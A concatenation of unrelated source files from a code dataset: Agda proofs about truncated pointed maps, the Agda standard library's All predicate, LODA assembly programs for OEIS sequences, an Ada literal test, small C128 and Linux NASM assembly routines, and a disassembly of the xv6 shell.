A : Type (ℓ-max ℓ (ℓ-suc ℓ'))
A = (isConnX : isConnected (k + 1) (typ X))
→ (Y : typ X → Σ[ Yx ∈ Pointed ℓ' ] (isOfHLevel (n + k) (typ Yx)))
→ isOfHLevel (n) (Π∙ X (λ x → typ (fst (Y x))) (pt (fst (Y (pt X)))))
module PointSec (n k : ℕ)
(isConnX : isConnected (k + 1) (typ X))
(Y : typ X → Σ[ Yx ∈ Pointed ℓ' ] (isOfHLevel (n + k) (typ Yx))) where
-- The type of pointed sections (x : X) →ₚₜ Y x
sec∙ : Type (ℓ-max ℓ ℓ')
sec∙ = Π∙ X (λ x → typ (fst (Y x))) (pt (fst (Y (pt X))))
-- Note that if isOfHLevel had a uniform interface for n ≥ 1 then this should be a part of the where
-- clause in the theorem.
module PointSecProps where
-- Given s, the type of pointed sections (x : X) →ₚₜ Ω(Y x, s x)
sec∙' : (s : sec∙) → Type (ℓ-max ℓ ℓ')
sec∙' s = Π∙ X (λ x → s .fst x ≡ s .fst x) refl
-- towards sec∙' s ≃ (s ≡ s)
secIso : (s : sec∙) → Iso (sec∙' s) (s ∙∼ s)
secIso (_ , s₂) = iso (λ (H , p) → H , p ∙ sym (rCancel s₂))
(λ (H , p) → H , p ∙ rCancel s₂)
(λ (H , p) → ΣPathP (refl ,
sym (assoc p (rCancel s₂) (sym (rCancel s₂))) ∙∙
cong (p ∙_) (rCancel (rCancel s₂)) ∙∙
sym (rUnit p)))
(λ (H , p) → ΣPathP (refl ,
sym (assoc p
(sym (rCancel s₂))
(rCancel s₂)) ∙∙
cong (p ∙_) (lCancel (rCancel s₂)) ∙∙
sym (rUnit p)))
-- compose the equivalences
sec≃ : (s : sec∙) → sec∙' s ≃ (s ≡ s)
sec≃ = λ (s : sec∙) → compEquiv (isoToEquiv (secIso s)) (funExt∙≃ s s)
-- p.9 Theorem 3 of Higher Types in HoTT
sec∙Trunc : {n k : ℕ} → A (n + 1) (k)
sec∙Trunc {n = 0} {k} isConnX Y = isContr→isProp (s₀ , λ s → funExt∙ (s₀∙∼s s))
where
sec∙ : Type (ℓ-max ℓ ℓ')
sec∙ = Π∙ X (λ x → typ (fst (Y x))) (pt (fst (Y (pt X))))
module _ where
-- trivial section
s₀ : sec∙
s₀ = (λ a → pt (fst (Y a))) , refl
-- abbreviations
s₀₁ = fst s₀
⋆ = pt X
-- the k-connected map 𝟙 → X
f : Unit → typ X
f tt = ⋆
-- proof that f is k-connected
fkconn : isConnectedFun k f
fkconn = UnitConnectedFunElim isConnX f
-- notation
module _ (s : sec∙) where
s₁ = fst s
s₂ = snd s
-- the regular homotopies between the trivial section and s coincide with the
-- identity type s₀₁ ⋆ ≡ s₁ ⋆
-- the Unit type will be eliminated in the next step
IsoHtpy𝟙Idpt : Iso (s₀₁ ∼ s₁) (Unit → s₀₁ ⋆ ≡ s₁ ⋆)
IsoHtpy𝟙Idpt = elim.isIsoPrecompose f k (λ (x : typ X) → (s₀₁ x ≡ s₁ x) , HL← (HL→ (snd (Y x)) (s₀₁ x) (s₁ x))) fkconn
IsoHtpyIdpt : Iso (s₀₁ ∼ s₁) (s₀₁ ⋆ ≡ s₁ ⋆)
IsoHtpyIdpt = compIso IsoHtpy𝟙Idpt (𝟙-universal (s₀₁ ⋆ ≡ s₁ ⋆))
-- judgementally,
-- (s₀ ∙∼ s) ≡ (Σ[ h ∈ (s₀₁ ∼ s₁) ] (h ⋆ ≡ (snd s₀) ∙ s₂ ⁻¹))
-- The right inverse of IsoHtpyIdpt gives such a pointed homotopy
s₀∙∼s : s₀ ∙∼ s
fst s₀∙∼s = Iso.inv IsoHtpyIdpt (refl ∙ s₂ ⁻¹)
snd s₀∙∼s =
Iso.inv IsoHtpyIdpt (refl ∙ s₂ ⁻¹) ⋆
≡⟨ refl ⟩
Iso.fun IsoHtpyIdpt (Iso.inv IsoHtpyIdpt (refl ∙ s₂ ⁻¹))
≡⟨ Iso.rightInv IsoHtpyIdpt (refl ∙ s₂ ⁻¹) ⟩
refl ∙ s₂ ⁻¹ ∎
sec∙Trunc {n = 1} {k} isConnX Y = truncSelfId→truncId {n = 0} (λ s → EquivPresHLevel {n = 1} (sec≃ s) (sec∙Trunc {n = 0} {k} isConnX λ x → ((s .fst x ≡ s .fst x) , refl) , (snd (Y x) (s .fst x) (s .fst x))))
where
open PointSec 2 k isConnX Y
open PointSecProps
sec∙Trunc {n = suc (suc m)} {k} isConnX Y =
-- suffices to show that loop spaces are truncated
truncSelfId→truncId
-- each self-identity type of a section s is equivalent to a type of sections
λ s → EquivPresHLevel (sec≃ s)
-- that the induction hypothesis can be applied to
(sec∙Trunc {n = suc m} isConnX λ x → ((s .fst x ≡ s .fst x) , refl) , snd (Y x) (s .fst x) (s .fst x))
where
open PointSec (suc (suc m) + 1) k isConnX Y
open PointSecProps
-- alternate version of sec∙Trunc with bound on n instead of adding a bound
sec∙Trunc' : {n k : ℕ} (1≤n : 1 ≤ n) → A n k
sec∙Trunc' {n = n} {k = k} 1≤n
= +Type→≤Type 1 (λ n → A n k) (λ r isConnX Y → sec∙Trunc {n = r} {k = k} isConnX Y) n 1≤n
module _ (X : Pointed ℓ) (Y : Pointed ℓ') where
pointed-maps-truncated : {n k : ℕ}
→ 1 ≤ n
→ isConnected (k + 1) (typ X)
→ isOfHLevel (n + k) (typ Y)
→ isOfHLevel (n) (X →∙ Y)
pointed-maps-truncated {n = n} 1≤n connX truncY =
sec∙Trunc' X 1≤n connX λ _ → Y , truncY
|
oeis/080/A080097.asm | neoneye/loda-programs | 11 | 98934 | <filename>oeis/080/A080097.asm
; A080097: a(n) = Fibonacci(n+2)^2 - 1.
; Submitted by <NAME>(s2)
; 0,3,8,24,63,168,440,1155,3024,7920,20735,54288,142128,372099,974168,2550408,6677055,17480760,45765224,119814915,313679520,821223648,2149991423,5628750624,14736260448,38580030723,101003831720,264431464440,692290561599,1812440220360,4745030099480,12422650078083,32522920134768,85146110326224,222915410843903,583600122205488,1527884955772560,4000054745112195,10472279279564024,27416783093579880,71778070001175615,187917426909946968,491974210728665288,1288005205276048899,3372041405099481408
mov $1,1
mov $2,1
lpb $0
sub $0,2
add $1,$2
add $2,$1
lpe
lpb $0
sub $0,1
add $2,$1
lpe
pow $2,2
mov $0,$2
sub $0,1
|
Base/Denotation/Notation.agda | inc-lc/ilc-agda | 10 | 14424 | <reponame>inc-lc/ilc-agda<gh_stars>1-10
------------------------------------------------------------------------
-- INCREMENTAL λ-CALCULUS
--
-- Overloading ⟦_⟧ notation
--
-- This module defines a general mechanism for overloading the
-- ⟦_⟧ notation, using Agda’s instance arguments.
------------------------------------------------------------------------
module Base.Denotation.Notation where
open import Level
record Meaning (Syntax : Set) {ℓ : Level} : Set (suc ℓ) where
constructor
meaning
field
{Semantics} : Set ℓ
⟨_⟩⟦_⟧ : Syntax → Semantics
open Meaning {{...}} public
renaming (⟨_⟩⟦_⟧ to ⟦_⟧)
open Meaning public
using (⟨_⟩⟦_⟧)
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c2/c24203a.ada | best08618/asylo | 7 | 25871 | -- C24203A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT BASED INTEGER LITERALS WITH BASES 2 THROUGH 16 ALL
-- YIELD CORRECT VALUES.
-- JRK 12/12/79
-- JRK 10/27/80
-- JWC 6/28/85 RENAMED FROM C24103A.ADA
WITH REPORT;
PROCEDURE C24203A IS
USE REPORT;
I : INTEGER := 200;
BEGIN
TEST ("C24203A", "VALUES OF BASED INTEGER LITERALS");
IF 2#11# /= 3 THEN
FAILED ("INCORRECT VALUE FOR BASE 2 INTEGER");
END IF;
IF 3#22# /= 8 THEN
FAILED ("INCORRECT VALUE FOR BASE 3 INTEGER");
END IF;
IF 4#33# /= 15 THEN
FAILED ("INCORRECT VALUE FOR BASE 4 INTEGER");
END IF;
IF 5#44# /= 24 THEN
FAILED ("INCORRECT VALUE FOR BASE 5 INTEGER");
END IF;
IF 6#55# /= 35 THEN
FAILED ("INCORRECT VALUE FOR BASE 6 INTEGER");
END IF;
IF 7#66# /= 48 THEN
FAILED ("INCORRECT VALUE FOR BASE 7 INTEGER");
END IF;
IF 8#77# /= 63 THEN
FAILED ("INCORRECT VALUE FOR BASE 8 INTEGER");
END IF;
IF 9#88# /= 80 THEN
FAILED ("INCORRECT VALUE FOR BASE 9 INTEGER");
END IF;
IF 10#99# /= 99 THEN
FAILED ("INCORRECT VALUE FOR BASE 10 INTEGER");
END IF;
IF 11#AA# /= 120 THEN
FAILED ("INCORRECT VALUE FOR BASE 11 INTEGER");
END IF;
IF 12#BB# /= 143 THEN
FAILED ("INCORRECT VALUE FOR BASE 12 INTEGER");
END IF;
IF 13#CC# /= 168 THEN
FAILED ("INCORRECT VALUE FOR BASE 13 INTEGER");
END IF;
IF 14#DD# /= 195 THEN
FAILED ("INCORRECT VALUE FOR BASE 14 INTEGER");
END IF;
IF 15#EE# /= 224 THEN
FAILED ("INCORRECT VALUE FOR BASE 15 INTEGER");
END IF;
IF 16#FF# /= 255 THEN
FAILED ("INCORRECT VALUE FOR BASE 16 INTEGER");
END IF;
----------------------------------------
IF 7#66#E1 /= 336 THEN
FAILED ("INCORRECT VALUE FOR BASE 7 INTEGER " &
"WITH EXPONENT");
END IF;
RESULT;
END C24203A;
|
libsrc/target/c128/outvdc.asm | jpoikela/z88dk | 38 | 7623 | ;
;Based on the SG C Tools 1.7
;(C) 1993 <NAME>
;
;$Id: outvdc.asm,v 1.3 2016-06-16 21:13:07 dom Exp $
;
;set vdc register
SECTION code_clib
PUBLIC outvdc
PUBLIC _outvdc
EXTERN outvdc_callee
EXTERN ASMDISP_OUTVDC_CALLEE
outvdc:
_outvdc:
pop bc ;return address
pop de ;data
pop hl ;vdc register to write
push hl
push de
push bc
jp outvdc_callee + ASMDISP_OUTVDC_CALLEE
|
oeis/141/A141910.asm | neoneye/loda-programs | 11 | 89297 | ; A141910: Primes congruent to 6 mod 23.
; 29,167,397,443,673,719,811,857,1087,1409,1777,1823,2053,2099,2237,2467,2789,2927,3019,3203,3433,3571,3617,3709,3847,4261,4583,4721,4813,4951,5227,5273,5503,5641,5779,6101,6469,6607,6653,6791,6883,7159,7297,7481,7573,7757,8171,8263,8447,8539,8677,8861,8999,9091,9137,9413,9551,9643,9689,9781,10103,10333,11069,11161,11299,11437,11483,11621,11897,12541,13001,13093,13553,13691,13829,13921,13967,14197,14243,14519,14657,14887,15439,15761,15991,16267,16451,17417,17509,17923,18061,18199,18521,18797
mov $2,$0
add $2,1
pow $2,2
add $2,1
pow $2,2
lpb $2
add $1,5
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,18
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,2
sub $1,22
mul $1,2
add $1,27
mov $0,$1
|
programs/oeis/182/A182386.asm | jmorken/loda | 1 | 243612 | <reponame>jmorken/loda
; A182386: a(0) = 1, a(n) = 1 - n * a(n-1).
; 1,0,1,-2,9,-44,265,-1854,14833,-133496,1334961,-14684570,176214841,-2290792932,32071101049,-481066515734,7697064251745,-130850092279664,2355301661033953,-44750731559645106
mov $1,1
sub $1,$0
sub $0,$0
sub $1,1
sub $0,$1
add $0,1
mov $2,1
mov $4,1
lpb $0
sub $0,1
add $1,1
mov $3,$2
sub $4,2
add $4,$2
mul $1,$4
lpe
add $1,$3
|
assembly/asmsbs3e/chapter10/eatterm/eatterm.asm | ash1247/DocumentsWindows | 5 | 97871 | ; Executable name : eatterm
; Version : 1.0
; Created date : 2/21/2009
; Last update : 2/23/2009
; Author : <NAME>
; Description : A simple program in assembly for Linux, using
; : NASM 2.05, demonstrating the use of escape
; : sequences to do simple "full-screen" text output.
;
; Build using these commands:
; nasm -f elf -g -F stabs eatterm.asm
; ld -o eatterm eatterm.o
;
;
section .data ; Section containing initialised data
SCRWIDTH: equ 80 ; By default we assume 80 chars wide
PosTerm: db 27,"[01;01H" ; <ESC>[<Y>;<X>H
POSLEN: equ $-PosTerm ; Length of term position string
ClearTerm: db 27,"[2J" ; <ESC>[2J
CLEARLEN equ $-ClearTerm ; Length of term clear string
AdMsg: db "Eat At Joe's!" ; Ad message
ADLEN: equ $-AdMsg ; Length of ad message
Prompt: db "Press Enter: " ; User prompt
PROMPTLEN: equ $-Prompt ; Length of user prompt
; This table gives us pairs of ASCII digits from 0-80. Rather than
; calculate ASCII digits to insert in the terminal control string,
; we look them up in the table and read back two digits at once to
; a 16-bit register like DX, which we then poke into the terminal
; control string PosTerm at the appropriate place. See GotoXY.
; If you intend to work on a larger console than 80 X 80, you must
; add additional ASCII digit encoding to the end of Digits. Keep in
; mind that the code shown here will only work up to 99 X 99.
Digits: db "0001020304050607080910111213141516171819"
db "2021222324252627282930313233343536373839"
db "4041424344454647484950515253545556575859"
db "606162636465666768697071727374757677787980"
SECTION .bss ; Section containing uninitialized data
SECTION .text ; Section containing code
;-------------------------------------------------------------------------
; ClrScr: Clear the Linux console
; UPDATED: 4/21/2009
; IN: Nothing
; RETURNS: Nothing
; MODIFIES: Nothing
; CALLS: Kernel sys_write
; DESCRIPTION: Sends the predefined control string <ESC>[2J to the
; console, which clears the full display
ClrScr:
push eax ; Save pertinent registers
push ebx
push ecx
push edx
mov ecx,ClearTerm ; Pass offset of terminal control string
mov edx,CLEARLEN ; Pass the length of terminal control string
call WriteStr ; Send control string to console
pop edx ; Restore pertinent registers
pop ecx
pop ebx
pop eax
ret ; Go home
;-------------------------------------------------------------------------
; GotoXY: Position the Linux Console cursor to an X,Y position
; UPDATED: 4/21/2009
; IN: X in AH, Y in AL
; RETURNS: Nothing
; MODIFIES: PosTerm terminal control sequence string
; CALLS: Kernel sys_write
; DESCRIPTION: Prepares a terminal control string for the X,Y coordinates
; passed in AL and AH and calls sys_write to position the
; console cursor to that X,Y position. Writing text to the
; console after calling GotoXY will begin display of text
; at that X,Y position.
GotoXY:
pushad ; Save caller's registers
xor ebx,ebx ; Zero EBX
xor ecx,ecx ; Ditto ECX
; Poke the Y digits:
mov bl,al ; Put Y value into scale term EBX
mov cx,word [Digits+ebx*2] ; Fetch decimal digits to CX
mov word [PosTerm+2],cx ; Poke digits into control string
; Poke the X digits:
mov bl,ah ; Put X value into scale term EBX
mov cx,word [Digits+ebx*2] ; Fetch decimal digits to CX
mov word [PosTerm+5],cx ; Poke digits into control string
; Send control sequence to stdout:
mov ecx,PosTerm ; Pass address of the control string
mov edx,POSLEN ; Pass the length of the control string
call WriteStr ; Send control string to the console
; Wrap up and go home:
popad ; Restore caller's registers
ret ; Go home
;-------------------------------------------------------------------------
; WriteCtr: Send a string centered to an 80-char wide Linux console
; UPDATED: 4/21/2009
; IN: Y value in AL, String address in ECX, string length in EDX
; RETURNS: Nothing
; MODIFIES: PosTerm terminal control sequence string
; CALLS: GotoXY, WriteStr
; DESCRIPTION: Displays a string to the Linux console centered in an
; 80-column display. Calculates the X for the passed-in
; string length, then calls GotoXY and WriteStr to send
; the string to the console
WriteCtr:
push ebx ; Save caller's EBX
xor ebx,ebx ; Zero EBX
mov bl,SCRWIDTH ; Load the screen width value to BL
sub bl,dl ; Take diff. of screen width and string length
shr bl,1 ; Divide difference by two for X value
mov ah,bl ; GotoXY requires X value in AH
call GotoXY ; Position the cursor for display
call WriteStr ; Write the string to the console
pop ebx ; Restore caller's EBX
ret ; Go home
;-------------------------------------------------------------------------
; WriteStr: Send a string to the Linux console
; UPDATED: 4/21/2009
; IN: String address in ECX, string length in EDX
; RETURNS: Nothing
; MODIFIES: Nothing
; CALLS: Kernel sys_write
; DESCRIPTION: Displays a string to the Linux console through a
; sys_write kernel call
WriteStr:
push eax ; Save pertinent registers
push ebx
mov eax,4 ; Specify sys_write call
mov ebx,1 ; Specify File Descriptor 1: Stdout
int 80H ; Make the kernel call
pop ebx ; Restore pertinent registers
pop eax
ret ; Go home
global _start ; Linker needs this to find the entry point!
_start:
nop ; This no-op keeps gdb happy...
; First we clear the terminal display...
call ClrScr
; Then we post the ad message centered on the 80-wide console:
mov al,12
mov ecx,AdMsg
mov edx,ADLEN
call WriteCtr
; Position the cursor for the "Press Enter" prompt:
mov ax,0117h ; X,Y = 1,23 as a single hex value in AX
call GotoXY ; Position the cursor
; Display the "Press Enter" prompt:
mov ecx,Prompt ; Pass offset of the prompt
mov edx,PROMPTLEN ; Pass the length of the prompt
call WriteStr ; Send the prompt to the console
; Wait for the user to press Enter:
mov eax,3 ; Code for sys_read
mov ebx,0 ; Specify File Descriptor 0: Stdin
int 80H ; Make kernel call
; ...and we're done!
Exit: mov eax,1 ; Code for Exit Syscall
mov ebx,0 ; Return a code of zero
int 80H ; Make kernel call
|
agda-stdlib/src/Data/List/Relation/Unary/All.agda | DreamLinuxer/popl21-artifact | 5 | 3022 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Lists where all elements satisfy a given property
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Relation.Unary.All where
open import Category.Applicative
open import Category.Monad
open import Data.Empty using (⊥)
open import Data.List.Base as List using (List; []; _∷_)
open import Data.List.Relation.Unary.Any as Any using (Any; here; there)
open import Data.List.Membership.Propositional using (_∈_)
open import Data.Product as Prod
using (∃; -,_; _×_; _,_; proj₁; proj₂; uncurry)
open import Function
open import Level
open import Relation.Nullary hiding (Irrelevant)
import Relation.Nullary.Decidable as Dec
open import Relation.Nullary.Product using (_×-dec_)
open import Relation.Unary hiding (_∈_)
open import Relation.Binary.PropositionalEquality as P
private
variable
a b p q r : Level
A : Set a
B : Set b
------------------------------------------------------------------------
-- Definitions
-- Given a predicate P, then All P xs means that every element in xs
-- satisfies P. See `Relation.Unary` for an explanation of predicates.
infixr 5 _∷_
data All {A : Set a} (P : Pred A p) : Pred (List A) (a ⊔ p) where
[] : All P []
_∷_ : ∀ {x xs} (px : P x) (pxs : All P xs) → All P (x ∷ xs)
-- All P xs is a finite map from indices x ∈ xs to content P x.
-- Relation pxs [ i ]= px states that, in map pxs, key i : x ∈ xs points to value px.
infix 4 _[_]=_
data _[_]=_ {A : Set a} {P : Pred A p} :
∀ {x xs} → All P xs → x ∈ xs → P x → Set (a ⊔ p) where
here : ∀ {x xs} {px : P x} {pxs : All P xs} →
px ∷ pxs [ here refl ]= px
there : ∀ {x xs y} {px : P x} {pxs : All P xs} {py : P y} {i : x ∈ xs} →
pxs [ i ]= px →
py ∷ pxs [ there i ]= px
-- A list is empty if having an element is impossible.
Null : Pred (List A) _
Null = All (λ _ → ⊥)
------------------------------------------------------------------------
-- Operations on All
module _ {P : Pred A p} where
uncons : ∀ {x xs} → All P (x ∷ xs) → P x × All P xs
uncons (px ∷ pxs) = px , pxs
head : ∀ {x xs} → All P (x ∷ xs) → P x
head = proj₁ ∘ uncons
tail : ∀ {x xs} → All P (x ∷ xs) → All P xs
tail = proj₂ ∘ uncons
tabulate : ∀ {xs} → (∀ {x} → x ∈ xs → P x) → All P xs
tabulate {xs = []} hyp = []
tabulate {xs = x ∷ xs} hyp = hyp (here refl) ∷ tabulate (hyp ∘ there)
reduce : (f : ∀ {x} → P x → B) → ∀ {xs} → All P xs → List B
reduce f [] = []
reduce f (px ∷ pxs) = f px ∷ reduce f pxs
construct : (f : B → ∃ P) (xs : List B) → ∃ (All P)
construct f [] = [] , []
construct f (x ∷ xs) = Prod.zip _∷_ _∷_ (f x) (construct f xs)
fromList : (xs : List (∃ P)) → All P (List.map proj₁ xs)
fromList [] = []
fromList ((x , p) ∷ xps) = p ∷ fromList xps
toList : ∀ {xs} → All P xs → List (∃ P)
toList pxs = reduce (λ {x} px → x , px) pxs
module _ {P : Pred A p} {Q : Pred A q} where
map : P ⊆ Q → All P ⊆ All Q
map g [] = []
map g (px ∷ pxs) = g px ∷ map g pxs
module _ {P : Pred A p} {Q : Pred A q} {R : Pred A r} where
zipWith : P ∩ Q ⊆ R → All P ∩ All Q ⊆ All R
zipWith f ([] , []) = []
zipWith f (px ∷ pxs , qx ∷ qxs) = f (px , qx) ∷ zipWith f (pxs , qxs)
unzipWith : R ⊆ P ∩ Q → All R ⊆ All P ∩ All Q
unzipWith f [] = [] , []
unzipWith f (rx ∷ rxs) = Prod.zip _∷_ _∷_ (f rx) (unzipWith f rxs)
module _ {P : Pred A p} {Q : Pred A q} where
zip : All P ∩ All Q ⊆ All (P ∩ Q)
zip = zipWith id
unzip : All (P ∩ Q) ⊆ All P ∩ All Q
unzip = unzipWith id
self : ∀ {xs : List A} → All (const A) xs
self = tabulate (λ {x} _ → x)
------------------------------------------------------------------------
-- (weak) updateAt
module _ {P : Pred A p} where
infixl 6 _[_]%=_ _[_]≔_
updateAt : ∀ {x xs} → x ∈ xs → (P x → P x) → All P xs → All P xs
updateAt () f []
updateAt (here refl) f (px ∷ pxs) = f px ∷ pxs
updateAt (there i) f (px ∷ pxs) = px ∷ updateAt i f pxs
_[_]%=_ : ∀ {x xs} → All P xs → x ∈ xs → (P x → P x) → All P xs
pxs [ i ]%= f = updateAt i f pxs
_[_]≔_ : ∀ {x xs} → All P xs → x ∈ xs → P x → All P xs
pxs [ i ]≔ px = pxs [ i ]%= const px
------------------------------------------------------------------------
-- Traversable-like functions
module _ (p : Level) {A : Set a} {P : Pred A (a ⊔ p)}
{F : Set (a ⊔ p) → Set (a ⊔ p)}
(App : RawApplicative F)
where
open RawApplicative App
sequenceA : All (F ∘′ P) ⊆ F ∘′ All P
sequenceA [] = pure []
sequenceA (x ∷ xs) = _∷_ <$> x ⊛ sequenceA xs
mapA : ∀ {Q : Pred A q} → (Q ⊆ F ∘′ P) → All Q ⊆ (F ∘′ All P)
mapA f = sequenceA ∘′ map f
forA : ∀ {Q : Pred A q} {xs} → All Q xs → (Q ⊆ F ∘′ P) → F (All P xs)
forA qxs f = mapA f qxs
module _ (p : Level) {A : Set a} {P : Pred A (a ⊔ p)}
{M : Set (a ⊔ p) → Set (a ⊔ p)}
(Mon : RawMonad M)
where
private App = RawMonad.rawIApplicative Mon
sequenceM : All (M ∘′ P) ⊆ M ∘′ All P
sequenceM = sequenceA p App
mapM : ∀ {Q : Pred A q} → (Q ⊆ M ∘′ P) → All Q ⊆ (M ∘′ All P)
mapM = mapA p App
forM : ∀ {Q : Pred A q} {xs} → All Q xs → (Q ⊆ M ∘′ P) → M (All P xs)
forM = forA p App
------------------------------------------------------------------------
-- Generalised lookup based on a proof of Any
module _ {P : Pred A p} {Q : Pred A q} where
lookupAny : ∀ {xs} → All P xs → (i : Any Q xs) → (P ∩ Q) (Any.lookup i)
lookupAny (px ∷ pxs) (here qx) = px , qx
lookupAny (px ∷ pxs) (there i) = lookupAny pxs i
module _ {P : Pred A p} {Q : Pred A q} {R : Pred A r} where
lookupWith : ∀[ P ⇒ Q ⇒ R ] → ∀ {xs} → All P xs → (i : Any Q xs) →
R (Any.lookup i)
lookupWith f pxs i = Prod.uncurry f (lookupAny pxs i)
module _ {P : Pred A p} where
lookup : ∀ {xs} → All P xs → (∀ {x} → x ∈ xs → P x)
lookup pxs = lookupWith (λ { px refl → px }) pxs
------------------------------------------------------------------------
-- Properties of predicates preserved by All
module _ {P : Pred A p} where
all : Decidable P → Decidable (All P)
all p [] = yes []
all p (x ∷ xs) = Dec.map′ (uncurry _∷_) uncons (p x ×-dec all p xs)
universal : Universal P → Universal (All P)
universal u [] = []
universal u (x ∷ xs) = u x ∷ universal u xs
irrelevant : Irrelevant P → Irrelevant (All P)
irrelevant irr [] [] = P.refl
irrelevant irr (px₁ ∷ pxs₁) (px₂ ∷ pxs₂) =
P.cong₂ _∷_ (irr px₁ px₂) (irrelevant irr pxs₁ pxs₂)
satisfiable : Satisfiable (All P)
satisfiable = [] , []
|
oeis/020/A020794.asm | neoneye/loda-programs | 11 | 173137 | <filename>oeis/020/A020794.asm<gh_stars>10-100
; A020794: Decimal expansion of 1/sqrt(37).
; Submitted by <NAME>(s4)
; 1,6,4,3,9,8,9,8,7,3,0,5,3,5,7,2,8,8,8,9,1,8,8,3,3,5,7,9,7,8,4,3,4,2,4,4,9,2,1,2,1,5,4,0,7,9,6,7,2,0,0,3,0,2,3,3,5,6,5,2,7,8,5,0,4,0,1,7,1,1,5,4,7,3,8,3,4,8,9,2,5,4,0,0,0,8,2,8,7,6,4,3,1,2,9,3,2,0,7,1
mov $1,1
mov $2,1
mov $3,$0
add $3,8
mov $4,$0
add $0,5
add $4,3
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,37
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
div $2,$8
sub $3,2
lpe
mov $3,$9
pow $3,$0
div $2,$3
mov $0,$2
mod $0,10
|
programs/oeis/087/A087287.asm | neoneye/loda | 22 | 88778 | ; A087287: a(n) = Lucas(9*n).
; 2,76,5778,439204,33385282,2537720636,192900153618,14662949395604,1114577054219522,84722519070079276,6440026026380244498,489526700523968661124,37210469265847998489922,2828485190904971853895196,215002084978043708894524818,16342986943522226847837781364,1242282009792667284144565908482,94429775731186235821834846825996,7177905237579946589743592924684178,545615227831807127056334897122823524
mul $0,3
seq $0,1077 ; Numerators of continued fraction convergents to sqrt(5).
mul $0,2
|
programs/oeis/052/A052036.asm | jmorken/loda | 1 | 169117 | ; A052036: Smallest number that must be added to n to make or keep n palindromic.
; 0,0,0,0,0,0,0,0,0,0,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0,10,9,8,7,6,5,4,3,2,1,0
mov $4,$0
mov $5,3
lpb $0
mov $0,11
mov $2,11
sub $5,1
mov $3,$5
sub $4,1
mod $4,11
sub $2,$4
add $2,4
add $3,1
sub $0,$3
add $0,1
mov $1,1
add $1,$2
lpe
add $1,1
trn $1,7
|
sh.asm | avivo23/os_ass3 | 0 | 93354 |
_sh: file format elf32-i386
Disassembly of section .text:
00000000 <runcmd>:
struct cmd *parsecmd(char*);
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 28 sub $0x28,%esp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
6: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
a: 75 05 jne 11 <runcmd+0x11>
exit();
c: e8 d6 0e 00 00 call ee7 <exit>
switch(cmd->type){
11: 8b 45 08 mov 0x8(%ebp),%eax
14: 8b 00 mov (%eax),%eax
16: 83 f8 05 cmp $0x5,%eax
19: 77 09 ja 24 <runcmd+0x24>
1b: 8b 04 85 40 14 00 00 mov 0x1440(,%eax,4),%eax
22: ff e0 jmp *%eax
default:
panic("runcmd");
24: 83 ec 0c sub $0xc,%esp
27: 68 14 14 00 00 push $0x1414
2c: e8 7d 03 00 00 call 3ae <panic>
31: 83 c4 10 add $0x10,%esp
case EXEC:
ecmd = (struct execcmd*)cmd;
34: 8b 45 08 mov 0x8(%ebp),%eax
37: 89 45 f4 mov %eax,-0xc(%ebp)
if(ecmd->argv[0] == 0)
3a: 8b 45 f4 mov -0xc(%ebp),%eax
3d: 8b 40 04 mov 0x4(%eax),%eax
40: 85 c0 test %eax,%eax
42: 75 05 jne 49 <runcmd+0x49>
exit();
44: e8 9e 0e 00 00 call ee7 <exit>
exec(ecmd->argv[0], ecmd->argv);
49: 8b 45 f4 mov -0xc(%ebp),%eax
4c: 8d 50 04 lea 0x4(%eax),%edx
4f: 8b 45 f4 mov -0xc(%ebp),%eax
52: 8b 40 04 mov 0x4(%eax),%eax
55: 83 ec 08 sub $0x8,%esp
58: 52 push %edx
59: 50 push %eax
5a: e8 c0 0e 00 00 call f1f <exec>
5f: 83 c4 10 add $0x10,%esp
printf(2, "exec %s failed\n", ecmd->argv[0]);
62: 8b 45 f4 mov -0xc(%ebp),%eax
65: 8b 40 04 mov 0x4(%eax),%eax
68: 83 ec 04 sub $0x4,%esp
6b: 50 push %eax
6c: 68 1b 14 00 00 push $0x141b
71: 6a 02 push $0x2
73: e8 e6 0f 00 00 call 105e <printf>
78: 83 c4 10 add $0x10,%esp
break;
7b: e9 c6 01 00 00 jmp 246 <runcmd+0x246>
case REDIR:
rcmd = (struct redircmd*)cmd;
80: 8b 45 08 mov 0x8(%ebp),%eax
83: 89 45 f0 mov %eax,-0x10(%ebp)
